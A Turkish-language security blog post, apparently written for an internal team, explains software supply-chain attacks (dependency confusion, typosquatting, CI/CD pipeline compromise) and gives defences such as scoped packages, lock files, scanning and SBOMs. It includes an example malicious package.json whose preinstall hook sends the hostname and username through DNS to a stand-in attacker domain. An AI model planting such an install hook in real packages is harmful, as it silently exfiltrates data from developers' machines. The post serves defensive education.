Selam ekip, bugün biraz 'güven' meselesini konuşalım. Eskiden siber güvenlik dediğimizde aklımıza ilk gelen şey dışarıdaki saldırganın kapıyı kırmasıydı. Güçlü parolalar koyar, firewall kurar, 'tamam biz güvendeyiz' derdik. Ancak son yıllarda oyunun rengi değişti. Artık kimse sadece 16 karakterli kompleks parolalara güvenmiyor; çünkü asıl tehlike kapıyı çalan yabancı değil, mutfakta size kahve yapan o 'tanıdık' paketler haline geldi.
Bir sabah ofise gelip npm install veya pip install komutunu çalıştırdığınızda, aslında sadece bir kütüphane indirmiyorsunuz. O kütüphaneyi yazan kişiye, o kişinin kullandığı diğer kütüphanelere ve o zincirin sonuna kadar giden binlerce yabancıya sisteminizin anahtarını teslim ediyorsunuz. İşte biz buna 'Software Supply Chain' (Yazılım Tedarik Zinciri) diyoruz ve dürüst olmak gerekirse, burası tam bir vahşi batı.
Dependency Confusion: İçeriden mi Dışarıdan mı?
Red Team operasyonlarında en sevdiğimiz (ama savunmacıların en korktuğu) yöntemlerden biri 'Dependency Confusion' (Bağımlılık Karışıklığı). Hikaye basit ama yıkıcı. testCompany olarak kendi içinizde geliştirdiğiniz bir paket olduğunu düşünelim: testcompany-internal-auth. Bu paket sadece sizin yerel ağınızdaki repo sunucusunda (Artifactory, Nexus vb.) duruyor.
Yazılımcı arkadaşımız projeyi ayağa kaldırırken paket yöneticisi (npm, pip, maven) önce yerel repoya, sonra global repoya bakar. Eğer saldırgan, aynı isimle (testcompany-internal-auth) daha yüksek bir sürüm numarasını (Örn: v99.9.9) genel bir repoya (npmjs.org gibi) yüklerse, paket yöneticisi 'Aa, yeni versiyon çıkmış!' diyerek koşa koşa saldırganın paketini çeker.
Peki, o paketin içinde ne mi var? Basit bir preinstall scripti bile dünyayı başınıza yıkmaya yeter. Şuna benzer bir şey hayal edin (zararsızlaştırılmış örnek):
{
"name": "testcompany-internal-auth",
"version": "99.9.9",
"description": "Güvenlik açığı testi amaçlıdır",
"scripts": {
"preinstall": "node -e 'const os=require(\"os\"); const dns=require(\"dns\"); const data=os.hostname()+\"|\"+os.userInfo().username; dns.lookup(data+\".attacker-collector.example.com\", ()=>{});'"
}
}
Bu kod ne yapıyor? Paket kurulmadan hemen önce sistemin host adını ve kullanıcı adını alıp, saldırganın kontrolündeki bir domain üzerinden DNS sorgusu olarak dışarı sızdırıyor. Hiçbir firewall DNS trafiğini kolay kolay bloklamaz, değil mi? Tebrikler, artık ağınızda kimin hangi makinede hangi paketi kurduğunu bilen bir saldırganınız var.
Typosquatting: Parmak Sürçmesi mi Felaket mi?
Hepimiz insanız, hata yaparız. request yerine requesst yazmak, pandas yerine pandass indirmek anlık bir dalgınlık. Ama siber dünyada bu dalgınlığın bedeli ağır. Typosquatting saldırıları, popüler paketlerin isimlerinin benzerlerini alarak kurbanın hata yapmasını bekler. İçinde gizlenmiş bir reverse shell olan ama dışarıdan bakıldığında ana paketle %99 aynı işi yapan bir kütüphane düşünün. Geliştirici paketi indirir, test eder, her şey çalışır. Ancak arka planda 127.0.0.1 (veya gerçek bir C2 sunucusu) ile çoktan el sıkışılmıştır bile.
Peki, Biz Ne Yapacağız? (Defensive Mindset)
Sadece korku salmak için burada değilim. Red Team bakış açısıyla bakınca açıklar çok net görünüyor, ama bu açıkları kapatmak da imkansız değil. testCompany bünyesinde bu tarz bir felaketi önlemek için şu adımları ajandanıza ekleyin:
- Scoped Packages Kullanımı: npm gibi ekosistemlerde mutlaka scope (
@testcompany/auth) kullanın. Bu, paket isminin çakışmasını engeller. - Lock Dosyalarını Ciddiye Alın:
package-lock.jsonveyapoetry.lockdosyaları sadece sürüm sabitlemek için değildir. Bu dosyalar paketlerin hash değerlerini (integrity) tutar. Eğer biri paketi değiştirirse, kurulum hata verir. - Vulnerability Scanning: CI/CD süreçlerinize
snyk,trivyveyaowasp-dependency-checkgibi araçları entegre edin. Ama dikkat: Sadece 'bilinen' açıkları bulurlar, sıfırıncı gün supply chain saldırılarını değil. - SBOM (Software Bill of Materials): Artık her yazılımın bir 'içindekiler' listesi olmalı. CycloneDX veya SPDX formatında bir SBOM üretin. Yarın bir gün 'X paketinde açık çıktı' dendiğinde, 'Bizde bu paket var mı?' sorusuna saniyeler içinde cevap verebilmelisiniz.
Örnek bir SBOM parçası (CycloneDX JSON):
{
"bomFormat": "CycloneDX",
"specVersion": "1.4",
"components": [
{
"type": "library",
"name": "lodash",
"version": "4.17.21",
"hashes": [
{
"alg": "SHA-256",
"content": "d6e5... (gerçek hash buraya gelir)"
}
]
}
]
}
Bir Gece Ansızın: Pipeline'ın Ele Geçirilmesi
En tehlikeli senaryo ise doğrudan CI/CD hattınızın zehirlenmesidir. SolarWinds vakasını hatırlayın. Adamlar koda dokunmadı, derleme sürecine (build pipeline) sızıp kod derlenirken araya kendi zararlılarını yerleştirdiler. Bu yüzden pipeline makineleriniz, üretim (production) sunucularınız kadar değerlidir. 'Nasıl olsa sadece test koşuyor' diyerek o makineleri zayıf bırakmayın.
Pipeline içinde kullanılan her türlü 'secret' (API key, SSH key) mutlaka bir Secret Management çözümünde (HashiCorp Vault vb.) tutulmalı. Environment variable olarak açıkta duran bir Azure Key Vault anahtarı, tüm tedarik zincirinizi bir gecede ifşa edebilir.
Kapanış Yerine: Bir Kahve Molası Ödevi
Şimdi bu yazıyı okumayı bitirince terminali açın ve şu komutu bir çalıştırın: npm list --depth=5. Gördüğünüz o uçsuz bucaksız liste, sizin aslında kimlere güvendiğinizin listesidir. O listedeki her bir satır, potansiyel bir sızıntı noktasıdır.
Siber güvenlikte 'mutlak güven' yoktur, 'doğrulanmış güven' vardır. Kimin kodunu kullandığınıza dikkat edin, pipeline'larınıza gözünüz gibi bakın ve asla 'bize bir şey olmaz' demeyin. Çünkü supply chain saldırılarında siz hata yapmasanız bile, güvendiğiniz birinin hatası sizin sonunuz olabilir.
Hadi, şimdi o bağımlılıkları bir kontrol edin bakalım. Güvende kalın!